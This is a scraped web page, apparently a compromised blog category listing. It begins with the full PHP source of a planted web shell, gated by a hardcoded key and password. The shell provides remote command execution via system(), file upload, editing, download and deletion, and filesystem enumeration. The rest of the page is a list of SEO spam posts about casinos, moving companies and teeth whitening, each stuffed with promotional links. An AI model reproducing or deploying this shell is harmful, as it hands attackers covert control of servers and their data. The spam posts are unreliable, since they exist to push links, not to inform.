if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 28 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Научные основы азарта и почему мозг привлекает рискованные действия

    Обратите внимание на свой ежедневный выбор. Часто мы выбираем смелые действия и непростые решения. Это связано не только с желанием разнообразить жизнь, https://casino-brain.com/ но и с тем, как воспринимаются новизна и неожиданные результаты. Нейропсихологические исследования показывают, что активность дофаминовой системы указывает на стремление к недавно полученному удовольствию от действий, связанных с неопределенностью. Применяйте небольшие эксперименты…

    Click or not…

  • How to Move Heavy Appliances Safely and Efficiently

    Moving heavy appliances can be a daunting task, but with the right techniques and tools, https://siliconvalleymovingpost.com it can be done safely and efficiently. Whether you are relocating to a new home or rearranging your current space, following these guidelines will help prevent injuries and damage to your appliances and surroundings. 1. Preparation is Key Before…

    Click or not…

  • How to Choose a Reliable Moving Company Online

    Choosing a reliable moving company online can be a daunting task, especially with the plethora of options available. Whether you are moving across town or across the country, selecting the right movers is crucial to ensure a smooth and https://movinginsiderusa.com/ hassle-free transition. Here are some key steps to help you find a trustworthy moving company…

    Click or not…

  • Setting Up Internet and Cable in Your New Home

    Moving into a new home is an exciting chapter in life, but it also comes with its own set of challenges. One of the most important tasks is setting up your internet and cable services, prorelocationteam.com which are essential for entertainment, work, and communication. This report outlines the steps necessary to effectively establish these services…

    Click or not…

  • Building a Community in a New Metropolitan Area

    Creating a vibrant community in a new metropolitan area is a multi-faceted endeavor that requires strategic planning, engagement, and https://pioneerrelocationnews.com sustained effort. As urbanization continues to rise, understanding how to foster a sense of belonging and connectedness among residents is more important than ever. This report outlines key steps to effectively build a community in…

    Click or not…

  • Understanding Moving Insurance: What Coverage You Actually Need

    When planning a move, one of the most critical aspects to consider is the insurance coverage for your belongings. Moving insurance can provide peace of mind, ensuring that your possessions are protected in case of damage or https://massachusettsmovingnews.com loss during transit. However, understanding the various types of coverage available and determining what you actually need…

    Click or not…

  • Відбілювання зубів огляд результатів та відгуків пацієнтів

    Для тих, хто прагне досягти бездоганно білосніжної усмішки, важливо використовувати перевірені методи. Згідно з даними опитувань, g-smile.com.ua близько 85% людей, які скористалися професійними процедурами освітлення, задоволені отриманими наслідками. Різноманітні клініки пропонують широкий спектр послуг, які можуть задовольнити навіть найвибагливіші запити. Пацієнти часто зазначають, що підготовка до процедури включає детальне обговорення їх омріяного результату з фахівцем.…

    Click or not…

  • How to Choose a Reliable Moving Company in 2026

    Choosing a reliable moving company in 2026 requires careful consideration and research to ensure that your belongings are in safe hands. With the increasing number of moving services available, https://siliconvalleymovingpost.com it can be overwhelming to select the right one. Here are some essential steps to guide you in making an informed decision. 1. Research Online…

    Click or not…

  • How to Negotiate a Relocation Package with Your Employer

    Negotiating a relocation package with your employer can be a pivotal moment in your career, especially if you’re moving to a new city or country for a job. A well-structured negotiation can ensure that you receive the support you need to make the transition smoother and movinginsiderusa.com more financially manageable. Here’s a detailed guide on…

    Click or not…

  • Moving to a New State: Documents You Must Update First

    Relocating to a new state is an exciting yet challenging endeavor that requires careful planning and organization. One of the most crucial aspects of this transition is ensuring that all necessary documents are updated to reflect your new address and https://reliablemovingcrews.com comply with local regulations. Failing to update these documents can lead to complications ranging…

    Click or not…